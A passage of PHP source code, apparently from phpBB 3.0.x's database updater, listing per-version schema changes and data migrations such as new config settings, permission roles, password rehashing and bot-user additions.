'3.0.7-PL1' => array(), // No changes from 3.0.8-RC1 to 3.0.8 '3.0.8-RC1' => array(), // Changes from 3.0.8 to 3.0.9-RC1 '3.0.8' => array( 'add_tables' => array( LOGIN_ATTEMPT_TABLE => array( 'COLUMNS' => array( // this column was removed from the database updater // after 3.0.9-RC3 was released. It might still exist // in 3.0.9-RCX installations and has to be dropped in // 3.0.13 after the db_tools class is capable of properly // removing a primary key. // 'attempt_id' => array('UINT', NULL, 'auto_increment'), 'attempt_ip' => array('VCHAR:40', ''), 'attempt_browser' => array('VCHAR:150', ''), 'attempt_forwarded_for' => array('VCHAR:255', ''), 'attempt_time' => array('TIMESTAMP', 0), 'user_id' => array('UINT', 0), 'username' => array('VCHAR_UNI:255', 0), 'username_clean' => array('VCHAR_CI', 0), ), //'PRIMARY_KEY' => 'attempt_id', 'KEYS' => array( 'att_ip' => array('INDEX', array('attempt_ip', 'attempt_time')), 'att_for' => array('INDEX', array('attempt_forwarded_for', 'attempt_time')), 'att_time' => array('INDEX', array('attempt_time')), 'user_id' => array('INDEX', 'user_id'), ), ), ), 'change_columns' => array( BBCODES_TABLE => array( 'bbcode_id' => array('USINT', 0), ), ), ), // No changes from 3.0.9-RC1 to 3.0.9-RC2 '3.0.9-RC1' => array(), // No changes from 3.0.9-RC2 to 3.0.9-RC3 '3.0.9-RC2' => array(), // No changes from 3.0.9-RC3 to 3.0.9-RC4 '3.0.9-RC3' => array(), // No changes from 3.0.9-RC4 to 3.0.9 '3.0.9-RC4' => array(), // No changes from 3.0.9 to 3.0.10-RC1 '3.0.9' => array(), // No changes from 3.0.10-RC1 to 3.0.10-RC2 '3.0.10-RC1' => array(), // No changes from 3.0.10-RC2 to 3.0.10-RC3 '3.0.10-RC2' => array(), // No changes from 3.0.10-RC3 to 3.0.10 '3.0.10-RC3' => array(), // No changes from 3.0.10 to 3.0.11-RC1 '3.0.10' => array(), // Changes from 3.0.11-RC1 to 3.0.11-RC2 '3.0.11-RC1' => array( 'add_columns' => array( PROFILE_FIELDS_TABLE => array( 'field_show_novalue' => array('BOOL', 0), ), ), ), // No changes from 3.0.11-RC2 to 3.0.11 '3.0.11-RC2' => array(), // No changes from 3.0.11 to 3.0.12-RC1 '3.0.11' => array(), // No changes from 3.0.12-RC1 to 3.0.12-RC2 '3.0.12-RC1' => array(), // No changes from 3.0.12-RC2 to 3.0.12-RC3 '3.0.12-RC2' => array(), // No changes from 3.0.12-RC3 to 3.0.12 '3.0.12-RC3' => array(), /** @todo DROP LOGIN_ATTEMPT_TABLE.attempt_id in 3.0.13-RC1 */ ); } /**************************************************************************** * ADD YOUR DATABASE DATA CHANGES HERE * * REMEMBER: You NEED to enter a schema array above and a data array here, * * even if both or one of them are empty. * *****************************************************************************/ function change_database_data(&$no_updates, $version) { global $db, $db_tools, $errored, $error_ary, $config, $table_prefix, $phpbb_root_path, $phpEx; switch ($version) { case '3.0.0': $sql = 'UPDATE ' . TOPICS_TABLE . " SET topic_last_view_time = topic_last_post_time WHERE topic_last_view_time = 0"; _sql($sql, $errored, $error_ary); // Update smiley sizes $smileys = array('icon_e_surprised.gif', 'icon_eek.gif', 'icon_cool.gif', 'icon_lol.gif', 'icon_mad.gif', 'icon_razz.gif', 'icon_redface.gif', 'icon_cry.gif', 'icon_evil.gif', 'icon_twisted.gif', 'icon_rolleyes.gif', 'icon_exclaim.gif', 'icon_question.gif', 'icon_idea.gif', 'icon_arrow.gif', 'icon_neutral.gif', 'icon_mrgreen.gif', 'icon_e_ugeek.gif'); foreach ($smileys as $smiley) { if (file_exists($phpbb_root_path . 'images/smilies/' . $smiley)) { list($width, $height) = getimagesize($phpbb_root_path . 'images/smilies/' . $smiley); $sql = 'UPDATE ' . SMILIES_TABLE . ' SET smiley_width = ' . $width . ', smiley_height = ' . $height . " WHERE smiley_url = '" . $db->sql_escape($smiley) . "'"; _sql($sql, $errored, $error_ary); } } $no_updates = false; break; // No changes from 3.0.1-RC1 to 3.0.1 case '3.0.1-RC1': break; // changes from 3.0.1 to 3.0.2-RC1 case '3.0.1': set_config('referer_validation', '1'); set_config('check_attachment_content', '1'); set_config('mime_triggers', 'body|head|html|img|plaintext|a href|pre|script|table|title'); $no_updates = false; break; // No changes from 3.0.2-RC1 to 3.0.2-RC2 case '3.0.2-RC1': break; // No changes from 3.0.2-RC2 to 3.0.2 case '3.0.2-RC2': break; // Changes from 3.0.2 to 3.0.3-RC1 case '3.0.2': set_config('enable_queue_trigger', '0'); set_config('queue_trigger_posts', '3'); set_config('pm_max_recipients', '0'); // Set maximum number of recipients for the registered users, bots, guests group $sql = 'UPDATE ' . GROUPS_TABLE . ' SET group_max_recipients = 5 WHERE ' . $db->sql_in_set('group_name', array('GUESTS', 'REGISTERED', 'REGISTERED_COPPA', 'BOTS')); _sql($sql, $errored, $error_ary); // Not prefilling yet set_config('dbms_version', ''); // Add new permission u_masspm_group and duplicate settings from u_masspm include_once($phpbb_root_path . 'includes/acp/auth.' . $phpEx); $auth_admin = new auth_admin(); // Only add the new permission if it does not already exist if (empty($auth_admin->acl_options['id']['u_masspm_group'])) { $auth_admin->acl_add_option(array('global' => array('u_masspm_group'))); // Now the tricky part, filling the permission $old_id = $auth_admin->acl_options['id']['u_masspm']; $new_id = $auth_admin->acl_options['id']['u_masspm_group']; $tables = array(ACL_GROUPS_TABLE, ACL_ROLES_DATA_TABLE, ACL_USERS_TABLE); foreach ($tables as $table) { $sql = 'SELECT * FROM ' . $table . ' WHERE auth_option_id = ' . $old_id; $result = _sql($sql, $errored, $error_ary); $sql_ary = array(); while ($row = $db->sql_fetchrow($result)) { $row['auth_option_id'] = $new_id; $sql_ary[] = $row; } $db->sql_freeresult($result); if (sizeof($sql_ary)) { $db->sql_multi_insert($table, $sql_ary); } } // Remove any old permission entries $auth_admin->acl_clear_prefetch(); } /** * Do not resync post counts here. An admin may do this later from the ACP $start = 0; $step = ($config['num_posts']) ? (max((int) ($config['num_posts'] / 5), 20000)) : 20000; $sql = 'UPDATE ' . USERS_TABLE . ' SET user_posts = 0'; _sql($sql, $errored, $error_ary); do { $sql = 'SELECT COUNT(post_id) AS num_posts, poster_id FROM ' . POSTS_TABLE . ' WHERE post_id BETWEEN ' . ($start + 1) . ' AND ' . ($start + $step) . ' AND post_postcount = 1 AND post_approved = 1 GROUP BY poster_id'; $result = _sql($sql, $errored, $error_ary); if ($row = $db->sql_fetchrow($result)) { do { $sql = 'UPDATE ' . USERS_TABLE . " SET user_posts = user_posts + {$row['num_posts']} WHERE user_id = {$row['poster_id']}"; _sql($sql, $errored, $error_ary); } while ($row = $db->sql_fetchrow($result)); $start += $step; } else { $start = 0; } $db->sql_freeresult($result); } while ($start); */ $sql = 'UPDATE ' . MODULES_TABLE . ' SET module_auth = \'acl_a_email && cfg_email_enable\' WHERE module_class = \'acp\' AND module_basename = \'email\''; _sql($sql, $errored, $error_ary); $no_updates = false; break; // Changes from 3.0.3-RC1 to 3.0.3 case '3.0.3-RC1': if ($db->sql_layer == 'oracle') { // log_operation is CLOB - but we can change this later $sql = 'UPDATE ' . LOG_TABLE . " SET log_operation = 'LOG_DELETE_TOPIC' WHERE log_operation LIKE 'LOG_TOPIC_DELETED'"; _sql($sql, $errored, $error_ary); } else { $sql = 'UPDATE ' . LOG_TABLE . " SET log_operation = 'LOG_DELETE_TOPIC' WHERE log_operation = 'LOG_TOPIC_DELETED'"; _sql($sql, $errored, $error_ary); } $no_updates = false; break; // Changes from 3.0.3 to 3.0.4-RC1 case '3.0.3': // Update the Custom Profile Fields based on previous settings to the new format $sql = 'SELECT field_id, field_required, field_show_on_reg, field_hide FROM ' . PROFILE_FIELDS_TABLE; $result = _sql($sql, $errored, $error_ary); while ($row = $db->sql_fetchrow($result)) { $sql_ary = array( 'field_required' => 0, 'field_show_on_reg' => 0, 'field_hide' => 0, 'field_show_profile'=> 0, ); if ($row['field_required']) { $sql_ary['field_required'] = $sql_ary['field_show_on_reg'] = $sql_ary['field_show_profile'] = 1; } else if ($row['field_show_on_reg']) { $sql_ary['field_show_on_reg'] = $sql_ary['field_show_profile'] = 1; } else if ($row['field_hide']) { // Only administrators and moderators can see this CPF, if the view is enabled, they can see it, otherwise just admins in the acp_users module $sql_ary['field_hide'] = 1; } else { // equivelant to "none", which is the "Display in user control panel" option $sql_ary['field_show_profile'] = 1; } _sql('UPDATE ' . PROFILE_FIELDS_TABLE . ' SET ' . $db->sql_build_array('UPDATE', $sql_ary) . ' WHERE field_id = ' . $row['field_id'], $errored, $error_ary); } $no_updates = false; break; // Changes from 3.0.4-RC1 to 3.0.4 case '3.0.4-RC1': break; // Changes from 3.0.4 to 3.0.5-RC1 case '3.0.4': // Captcha config variables set_config('captcha_gd_wave', 0); set_config('captcha_gd_3d_noise', 1); set_config('captcha_gd_fonts', 1); set_config('confirm_refresh', 1); // Maximum number of keywords set_config('max_num_search_keywords', 10); // Remove static config var and put it back as dynamic variable $sql = 'UPDATE ' . CONFIG_TABLE . " SET is_dynamic = 1 WHERE config_name = 'search_indexing_state'"; _sql($sql, $errored, $error_ary); // Hash old MD5 passwords $sql = 'SELECT user_id, user_password FROM ' . USERS_TABLE . ' WHERE user_pass_convert = 1'; $result = _sql($sql, $errored, $error_ary); while ($row = $db->sql_fetchrow($result)) { if (strlen($row['user_password']) == 32) { $sql_ary = array( 'user_password' => phpbb_hash($row['user_password']), ); _sql('UPDATE ' . USERS_TABLE . ' SET ' . $db->sql_build_array('UPDATE', $sql_ary) . ' WHERE user_id = ' . $row['user_id'], $errored, $error_ary); } } $db->sql_freeresult($result); // Adjust bot entry $sql = 'UPDATE ' . BOTS_TABLE . " SET bot_agent = 'ichiro/' WHERE bot_agent = 'ichiro/2'"; _sql($sql, $errored, $error_ary); // Before we are able to add a unique key to auth_option, we need to remove duplicate entries // We get duplicate entries first $sql = 'SELECT auth_option FROM ' . ACL_OPTIONS_TABLE . ' GROUP BY auth_option HAVING COUNT(*) >= 2'; $result = $db->sql_query($sql); $auth_options = array(); while ($row = $db->sql_fetchrow($result)) { $auth_options[] = $row['auth_option']; } $db->sql_freeresult($result); // Remove specific auth options if (!empty($auth_options)) { foreach ($auth_options as $option) { // Select auth_option_ids... the largest id will be preserved $sql = 'SELECT auth_option_id FROM ' . ACL_OPTIONS_TABLE . " WHERE auth_option = '" . $db->sql_escape($option) . "' ORDER BY auth_option_id DESC"; // sql_query_limit not possible here, due to bug in postgresql layer $result = $db->sql_query($sql); // Skip first row, this is our original auth option we want to preserve $row = $db->sql_fetchrow($result); while ($row = $db->sql_fetchrow($result)) { // Ok, remove this auth option... _sql('DELETE FROM ' . ACL_OPTIONS_TABLE . ' WHERE auth_option_id = ' . $row['auth_option_id'], $errored, $error_ary); _sql('DELETE FROM ' . ACL_ROLES_DATA_TABLE . ' WHERE auth_option_id = ' . $row['auth_option_id'], $errored, $error_ary); _sql('DELETE FROM ' . ACL_GROUPS_TABLE . ' WHERE auth_option_id = ' . $row['auth_option_id'], $errored, $error_ary); _sql('DELETE FROM ' . ACL_USERS_TABLE . ' WHERE auth_option_id = ' . $row['auth_option_id'], $errored, $error_ary); } $db->sql_freeresult($result); } } // Now make auth_option UNIQUE, by dropping the old index and adding a UNIQUE one. $changes = array( 'drop_keys' => array( ACL_OPTIONS_TABLE => array('auth_option'), ), ); $statements = $db_tools->perform_schema_changes($changes); foreach ($statements as $sql) { _sql($sql, $errored, $error_ary); } $changes = array( 'add_unique_index' => array( ACL_OPTIONS_TABLE => array( 'auth_option' => array('auth_option'), ), ), ); $statements = $db_tools->perform_schema_changes($changes); foreach ($statements as $sql) { _sql($sql, $errored, $error_ary); } $no_updates = false; break; // No changes from 3.0.5-RC1 to 3.0.5 case '3.0.5-RC1': break; // Changes from 3.0.5 to 3.0.6-RC1 case '3.0.5': // Let's see if the GD Captcha can be enabled... we simply look for what *is* enabled... if (!empty($config['captcha_gd']) && !isset($config['captcha_plugin'])) { set_config('captcha_plugin', 'phpbb_captcha_gd'); } else if (!isset($config['captcha_plugin'])) { set_config('captcha_plugin', 'phpbb_captcha_nogd'); } // Entries for the Feed Feature set_config('feed_enable', '0'); set_config('feed_limit', '10'); set_config('feed_overall_forums', '1'); set_config('feed_overall_forums_limit', '15'); set_config('feed_overall_topics', '0'); set_config('feed_overall_topics_limit', '15'); set_config('feed_forum', '1'); set_config('feed_topic', '1'); set_config('feed_item_statistics', '1'); // Entries for smiley pagination set_config('smilies_per_page', '50'); // Entry for reporting PMs set_config('allow_pm_report', '1'); // Install modules $modules_to_install = array( 'feed' => array( 'base' => 'board', 'class' => 'acp', 'title' => 'ACP_FEED_SETTINGS', 'auth' => 'acl_a_board', 'cat' => 'ACP_BOARD_CONFIGURATION', 'after' => array('signature', 'ACP_SIGNATURE_SETTINGS') ), 'warnings' => array( 'base' => 'users', 'class' => 'acp', 'title' => 'ACP_USER_WARNINGS', 'auth' => 'acl_a_user', 'display' => 0, 'cat' => 'ACP_CAT_USERS', 'after' => array('feedback', 'ACP_USER_FEEDBACK') ), 'send_statistics' => array( 'base' => 'send_statistics', 'class' => 'acp', 'title' => 'ACP_SEND_STATISTICS', 'auth' => 'acl_a_server', 'cat' => 'ACP_SERVER_CONFIGURATION' ), 'setting_forum_copy' => array( 'base' => 'permissions', 'class' => 'acp', 'title' => 'ACP_FORUM_PERMISSIONS_COPY', 'auth' => 'acl_a_fauth && acl_a_authusers && acl_a_authgroups && acl_a_mauth', 'cat' => 'ACP_FORUM_BASED_PERMISSIONS', 'after' => array('setting_forum_local', 'ACP_FORUM_PERMISSIONS') ), 'pm_reports' => array( 'base' => 'pm_reports', 'class' => 'mcp', 'title' => 'MCP_PM_REPORTS_OPEN', 'auth' => 'aclf_m_report', 'cat' => 'MCP_REPORTS' ), 'pm_reports_closed' => array( 'base' => 'pm_reports', 'class' => 'mcp', 'title' => 'MCP_PM_REPORTS_CLOSED', 'auth' => 'aclf_m_report', 'cat' => 'MCP_REPORTS' ), 'pm_report_details' => array( 'base' => 'pm_reports', 'class' => 'mcp', 'title' => 'MCP_PM_REPORT_DETAILS', 'auth' => 'aclf_m_report', 'cat' => 'MCP_REPORTS' ), ); _add_modules($modules_to_install); // Add newly_registered group... but check if it already exists (we always supported running the updater on any schema) $sql = 'SELECT group_id FROM ' . GROUPS_TABLE . " WHERE group_name = 'NEWLY_REGISTERED'"; $result = $db->sql_query($sql); $group_id = (int) $db->sql_fetchfield('group_id'); $db->sql_freeresult($result); if (!$group_id) { $sql = 'INSERT INTO ' . GROUPS_TABLE . " (group_name, group_type, group_founder_manage, group_colour, group_legend, group_avatar, group_desc, group_desc_uid, group_max_recipients) VALUES ('NEWLY_REGISTERED', 3, 0, '', 0, '', '', '', 5)"; _sql($sql, $errored, $error_ary); $group_id = $db->sql_nextid(); } // Insert new user role... at the end of the chain $sql = 'SELECT role_id FROM ' . ACL_ROLES_TABLE . " WHERE role_name = 'ROLE_USER_NEW_MEMBER' AND role_type = 'u_'"; $result = $db->sql_query($sql); $u_role = (int) $db->sql_fetchfield('role_id'); $db->sql_freeresult($result); if (!$u_role) { $sql = 'SELECT MAX(role_order) as max_order_id FROM ' . ACL_ROLES_TABLE . " WHERE role_type = 'u_'"; $result = $db->sql_query($sql); $next_order_id = (int) $db->sql_fetchfield('max_order_id'); $db->sql_freeresult($result); $next_order_id++; $sql = 'INSERT INTO ' . ACL_ROLES_TABLE . " (role_name, role_description, role_type, role_order) VALUES ('ROLE_USER_NEW_MEMBER', 'ROLE_DESCRIPTION_USER_NEW_MEMBER', 'u_', $next_order_id)"; _sql($sql, $errored, $error_ary); $u_role = $db->sql_nextid(); if (!$errored) { // Now add the correct data to the roles... // The standard role says that new users are not able to send a PM, Mass PM, are not able to PM groups $sql = 'INSERT INTO ' . ACL_ROLES_DATA_TABLE . " (role_id, auth_option_id, auth_setting) SELECT $u_role, auth_option_id, 0 FROM " . ACL_OPTIONS_TABLE . " WHERE auth_option LIKE 'u_%' AND auth_option IN ('u_sendpm', 'u_masspm', 'u_masspm_group')"; _sql($sql, $errored, $error_ary); // Add user role to group $sql = 'INSERT INTO ' . ACL_GROUPS_TABLE . " (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES ($group_id, 0, 0, $u_role, 0)"; _sql($sql, $errored, $error_ary); } } // Insert new forum role $sql = 'SELECT role_id FROM ' . ACL_ROLES_TABLE . " WHERE role_name = 'ROLE_FORUM_NEW_MEMBER' AND role_type = 'f_'"; $result = $db->sql_query($sql); $f_role = (int) $db->sql_fetchfield('role_id'); $db->sql_freeresult($result); if (!$f_role) { $sql = 'SELECT MAX(role_order) as max_order_id FROM ' . ACL_ROLES_TABLE . " WHERE role_type = 'f_'"; $result = $db->sql_query($sql); $next_order_id = (int) $db->sql_fetchfield('max_order_id'); $db->sql_freeresult($result); $next_order_id++; $sql = 'INSERT INTO ' . ACL_ROLES_TABLE . " (role_name, role_description, role_type, role_order) VALUES ('ROLE_FORUM_NEW_MEMBER', 'ROLE_DESCRIPTION_FORUM_NEW_MEMBER', 'f_', $next_order_id)"; _sql($sql, $errored, $error_ary); $f_role = $db->sql_nextid(); if (!$errored) { $sql = 'INSERT INTO ' . ACL_ROLES_DATA_TABLE . " (role_id, auth_option_id, auth_setting) SELECT $f_role, auth_option_id, 0 FROM " . ACL_OPTIONS_TABLE . " WHERE auth_option LIKE 'f_%' AND auth_option IN ('f_noapprove')"; _sql($sql, $errored, $error_ary); } } // Set every members user_new column to 0 (old users) only if there is no one yet (this makes sure we do not execute this more than once) $sql = 'SELECT 1 FROM ' . USERS_TABLE . ' WHERE user_new = 0'; $result = $db->sql_query_limit($sql, 1); $row = $db->sql_fetchrow($result); $db->sql_freeresult($result); if (!$row) { $sql = 'UPDATE ' . USERS_TABLE . ' SET user_new = 0'; _sql($sql, $errored, $error_ary); } // Newly registered users limit if (!isset($config['new_member_post_limit'])) { set_config('new_member_post_limit', (!empty($config['enable_queue_trigger'])) ? $config['queue_trigger_posts'] : 0); } if (!isset($config['new_member_group_default'])) { set_config('new_member_group_default', 0); } // To mimick the old "feature" we will assign the forum role to every forum, regardless of the setting (this makes sure there are no "this does not work!!!! YUO!!!" posts... // Check if the role is already assigned... $sql = 'SELECT forum_id FROM ' . ACL_GROUPS_TABLE . ' WHERE group_id = ' . $group_id . ' AND auth_role_id = ' . $f_role; $result = $db->sql_query($sql); $is_options = (int) $db->sql_fetchfield('forum_id'); $db->sql_freeresult($result); // Not assigned at all... :/ if (!$is_options) { // Get postable forums $sql = 'SELECT forum_id FROM ' . FORUMS_TABLE . ' WHERE forum_type != ' . FORUM_LINK; $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { _sql('INSERT INTO ' . ACL_GROUPS_TABLE . ' (group_id, forum_id, auth_option_id, auth_role_id, auth_setting) VALUES (' . $group_id . ', ' . (int) $row['forum_id'] . ', 0, ' . $f_role . ', 0)', $errored, $error_ary); } $db->sql_freeresult($result); } // Clear permissions... include_once($phpbb_root_path . 'includes/acp/auth.' . $phpEx); $auth_admin = new auth_admin(); $auth_admin->acl_clear_prefetch(); if (!isset($config['allow_avatar'])) { if ($config['allow_avatar_upload'] || $config['allow_avatar_local'] || $config['allow_avatar_remote']) { set_config('allow_avatar', '1'); } else { set_config('allow_avatar', '0'); } } if (!isset($config['allow_avatar_remote_upload'])) { if ($config['allow_avatar_remote'] && $config['allow_avatar_upload']) { set_config('allow_avatar_remote_upload', '1'); } else { set_config('allow_avatar_remote_upload', '0'); } } // Minimum number of characters if (!isset($config['min_post_chars'])) { set_config('min_post_chars', '1'); } if (!isset($config['allow_quick_reply'])) { set_config('allow_quick_reply', '1'); } // Set every members user_options column to enable // bbcode, smilies and URLs for signatures by default $sql = 'SELECT user_options FROM ' . USERS_TABLE . ' WHERE user_type IN (' . USER_NORMAL . ', ' . USER_FOUNDER . ')'; $result = $db->sql_query_limit($sql, 1); $user_option = (int) $db->sql_fetchfield('user_options'); $db->sql_freeresult($result); // Check if we already updated the database by checking bit 15 which we used to store the sig_bbcode option if (!($user_option & 1 << 15)) { // 229376 is the added value to enable all three signature options $sql = 'UPDATE ' . USERS_TABLE . ' SET user_options = user_options + 229376'; _sql($sql, $errored, $error_ary); } if (!isset($config['delete_time'])) { set_config('delete_time', $config['edit_time']); } $no_updates = false; break; // No changes from 3.0.6-RC1 to 3.0.6-RC2 case '3.0.6-RC1': break; // Changes from 3.0.6-RC2 to 3.0.6-RC3 case '3.0.6-RC2': // Update the Custom Profile Fields based on previous settings to the new format $sql = 'UPDATE ' . PROFILE_FIELDS_TABLE . ' SET field_show_on_vt = 1 WHERE field_hide = 0 AND (field_required = 1 OR field_show_on_reg = 1 OR field_show_profile = 1)'; _sql($sql, $errored, $error_ary); $no_updates = false; break; // No changes from 3.0.6-RC3 to 3.0.6-RC4 case '3.0.6-RC3': break; // No changes from 3.0.6-RC4 to 3.0.6 case '3.0.6-RC4': break; // Changes from 3.0.6 to 3.0.7-RC1 case '3.0.6': // ATOM Feeds set_config('feed_overall', '1'); set_config('feed_http_auth', '0'); set_config('feed_limit_post', (string) (isset($config['feed_limit']) ? (int) $config['feed_limit'] : 15)); set_config('feed_limit_topic', (string) (isset($config['feed_overall_topics_limit']) ? (int) $config['feed_overall_topics_limit'] : 10)); set_config('feed_topics_new', (!empty($config['feed_overall_topics']) ? '1' : '0')); set_config('feed_topics_active', (!empty($config['feed_overall_topics']) ? '1' : '0')); // Delete all text-templates from the template_data $sql = 'DELETE FROM ' . STYLES_TEMPLATE_DATA_TABLE . ' WHERE template_filename ' . $db->sql_like_expression($db->any_char . '.txt'); _sql($sql, $errored, $error_ary); $no_updates = false; break; // Changes from 3.0.7-RC1 to 3.0.7-RC2 case '3.0.7-RC1': $sql = 'SELECT user_id, user_email, user_email_hash FROM ' . USERS_TABLE . ' WHERE user_type <> ' . USER_IGNORE . " AND user_email <> ''"; $result = $db->sql_query($sql); $i = 0; while ($row = $db->sql_fetchrow($result)) { // Snapshot of the phpbb_email_hash() function // We cannot call it directly because the auto updater updates the DB first. :/ $user_email_hash = sprintf('%u', crc32(strtolower($row['user_email']))) . strlen($row['user_email']); if ($user_email_hash != $row['user_email_hash']) { $sql_ary = array( 'user_email_hash' => $user_email_hash, ); $sql = 'UPDATE ' . USERS_TABLE . ' SET ' . $db->sql_build_array('UPDATE', $sql_ary) . ' WHERE user_id = ' . (int) $row['user_id']; _sql($sql, $errored, $error_ary, ($i % 100 == 0)); ++$i; } } $db->sql_freeresult($result); $no_updates = false; break; // No changes from 3.0.7-RC2 to 3.0.7 case '3.0.7-RC2': break; // No changes from 3.0.7 to 3.0.7-PL1 case '3.0.7': break; // Changes from 3.0.7-PL1 to 3.0.8-RC1 case '3.0.7-PL1': // Update file extension group names to use language strings. $sql = 'SELECT lang_dir FROM ' . LANG_TABLE; $result = $db->sql_query($sql); $extension_groups_updated = array(); while ($lang_dir = $db->sql_fetchfield('lang_dir')) { $lang_dir = basename($lang_dir); // The language strings we need are either in language/.../acp/attachments.php // in the update package if we're updating to 3.0.8-RC1 or later, // or they are in language/.../install.php when we're updating from 3.0.7-PL1 or earlier. // On an already updated board, they can also already be in language/.../acp/attachments.php // in the board root. $lang_files = array( "{$phpbb_root_path}install/update/new/language/$lang_dir/acp/attachments.$phpEx", "{$phpbb_root_path}language/$lang_dir/install.$phpEx", "{$phpbb_root_path}language/$lang_dir/acp/attachments.$phpEx", ); foreach ($lang_files as $lang_file) { if (!file_exists($lang_file)) { continue; } $lang = array(); include($lang_file); foreach($lang as $lang_key => $lang_val) { if (isset($extension_groups_updated[$lang_key]) || strpos($lang_key, 'EXT_GROUP_') !== 0) { continue; } $sql_ary = array( 'group_name' => substr($lang_key, 10), // Strip off 'EXT_GROUP_' ); $sql = 'UPDATE ' . EXTENSION_GROUPS_TABLE . ' SET ' . $db->sql_build_array('UPDATE', $sql_ary) . " WHERE group_name = '" . $db->sql_escape($lang_val) . "'"; _sql($sql, $errored, $error_ary); $extension_groups_updated[$lang_key] = true; } } } $db->sql_freeresult($result); // Install modules $modules_to_install = array( 'post' => array( 'base' => 'board', 'class' => 'acp', 'title' => 'ACP_POST_SETTINGS', 'auth' => 'acl_a_board', 'cat' => 'ACP_MESSAGES', 'after' => array('message', 'ACP_MESSAGE_SETTINGS') ), ); _add_modules($modules_to_install); // update $sql = 'UPDATE ' . MODULES_TABLE . ' SET module_auth = \'cfg_allow_avatar && (cfg_allow_avatar_local || cfg_allow_avatar_remote || cfg_allow_avatar_upload || cfg_allow_avatar_remote_upload)\' WHERE module_class = \'ucp\' AND module_basename = \'profile\' AND module_mode = \'avatar\''; _sql($sql, $errored, $error_ary); // add Bing Bot $bot_name = 'Bing [Bot]'; $bot_name_clean = utf8_clean_string($bot_name); $sql = 'SELECT user_id FROM ' . USERS_TABLE . " WHERE username_clean = '" . $db->sql_escape($bot_name_clean) . "'"; $result = $db->sql_query($sql); $bing_already_added = (bool) $db->sql_fetchfield('user_id'); $db->sql_freeresult($result); if (!$bing_already_added) { $bot_agent = 'bingbot/'; $bot_ip = ''; $sql = 'SELECT group_id, group_colour FROM ' . GROUPS_TABLE . " WHERE group_name = 'BOTS'"; $result = $db->sql_query($sql); $group_row = $db->sql_fetchrow($result); $db->sql_freeresult($result); if (!$group_row) { // default fallback, should never get here $group_row['group_id'] = 6; $group_row['group_colour'] = '9E8DA7'; } if (!function_exists('user_add')) { include($phpbb_root_path . 'includes/functions_user.' . $phpEx); } $user_row = array( 'user_type' => USER_IGNORE, 'group_id' => $group_row['group_id'], 'username' => $bot_name, 'user_regdate' => time(), 'user_password' => '', 'user_colour' => $group_row['group_colour'], 'user_email' => '', 'user_lang' => $config['default_lang'], 'user_style' => $config['default_style'], 'user_timezone' => 0, 'user_dateformat' => $config['default_dateformat'], 'user_allow_massemail' => 0, ); $user_id = user_add($user_row); $sql = 'INSERT INTO ' . BOTS_TABLE . ' ' . $db->sql_build_array('INSERT', array( 'bot_active' => 1, 'bot_name' => (string) $bot_name, 'user_id' => (int) $user_id, 'bot_agent' => (string) $bot_agent, 'bot_ip' => (string) $bot_ip, )); _sql($sql, $errored, $error_ary); } // end Bing Bot addition // Delete shadow topics pointing to not existing topics $batch_size = 500; // Set of affected forums we have to resync $sync_forum_ids = array(); do { $sql_array = array( 'SELECT' => 't1.topic_id, t1.forum_id', 'FROM' => array( TOPICS_TABLE => 't1', ), 'LEFT_JOIN' => array( array( 'FROM' => array(TOPICS_TABLE => 't2'), 'ON' => 't1.topic_moved_id = t2.topic_id', ), ), 'WHERE' => 't1.topic_moved_id <> 0 AND t2.topic_id IS NULL', ); $sql = $db->sql_build_query('SELECT', $sql_array); $result = $db->sql_query_limit($sql, $batch_size); $topic_ids = array(); while ($row = $db->sql_fetchrow($result)) { $topic_ids[] = (int) $row['topic_id']; $sync_forum_ids[(int) $row['forum_id']] = (int) $row['forum_id']; } $db->sql_freeresult($result); if (!empty($topic_ids)) { $sql = 'DELETE FROM ' . TOPICS_TABLE . ' WHERE ' . $db->sql_in_set('topic_id', $topic_ids); $db->sql_query($sql); } } while (sizeof($topic_ids) == $batch_size); // Sync the forums we have deleted shadow topics from. sync('forum', 'forum_id', $sync_forum_ids, true, true); // Unread posts search load switch set_config('load_unreads_search', '1'); // Reduce queue interval to 60 seconds, email package size to 20 if ($config['queue_interval'] == 600) { set_config('queue_interval', '60'); } if ($config['email_package_size'] == 50) { set_config('email_package_size', '20'); } $no_updates = false; break; // No changes from 3.0.8-RC1 to 3.0.8 case '3.0.8-RC1': break; // Changes from 3.0.8 to 3.0.9-RC1 case '3.0.8': set_config('ip_login_limit_max', '50'); set_config('ip_login_limit_time', '21600'); set_config('ip_login_limit_use_forwarded', '0'); // Update file extension group names to use language strings, again. $sql = 'SELECT group_id, group_name FROM ' . EXTENSION_GROUPS_TABLE . ' WHERE group_name ' . $db->sql_like_expression('EXT_GROUP_' . $db->any_char); $result = $db->sql_query($sql); while ($row = $db->sql_fetchrow($result)) { $sql_ary = array( 'group_name' => substr($row['group_name'], 10), // Strip off 'EXT_GROUP_' ); $sql = 'UPDATE ' . EXTENSION_GROUPS_TABLE . ' SET ' . $db->sql_build_array('UPDATE', $sql_ary) . ' WHERE group_id = ' . $row['group_id']; _sql($sql, $errored, $error_ary); } $db->sql_freeresult($result); /* * Due to a bug, vanilla phpbb could not create captcha tables * in 3.0.8 on firebird. It was possible for board administrators * to adjust the code to work. If code was manually adjusted by * board administrators, index names would not be the same as * what 3.0.9 and newer expect. This code fragment drops captcha * tables, destroying all entered Q&A captcha configuration, such * that when Q&A is configured next the respective tables will be * created with correct index names. * * If you wish to preserve your Q&A captcha configuration, you can * manually rename indexes to the currently expected name: * phpbb_captcha_questions_lang_iso => phpbb_captcha_questions_lang * phpbb_captcha_answers_question_id => phpbb_captcha_answers_qid * * Again, this needs to be done only if a board was manually modified * to fix broken captcha code. * if ($db_tools->sql_layer == 'firebird') { $changes = array( 'drop_tables' => array( $table_prefix . 'captcha_questions', $table_prefix . 'captcha_answers', $table_prefix . 'qa_confirm', ), ); $statements = $db_tools->perform_schema_changes($changes); foreach ($statements as $sql) { _sql($sql, $errored, $error_ary); } } */ $no_updates = false; break; // No changes from 3.0.9-RC1 to 3.0.9-RC2 case '3.0.9-RC1': break; // No changes from 3.0.9-RC2 to 3.0.9-RC3 case '3.0.9-RC2': break; // No changes from 3.0.9-RC3 to 3.0.9-RC4 case '3.0.9-RC3': break; // No changes from 3.0.9-RC4 to 3.0.9 case '3.0.9-RC4': break; // Changes from 3.0.9 to 3.0.10-RC1 case '3.0.9': if (!isset($config['email_max_chunk_size'])) { set_config('email_max_chunk_size', '50'); } $no_updates = false; break; // No changes from 3.0.10-RC1 to 3.0.10-RC2 case '3.0.10-RC1': break; // No changes 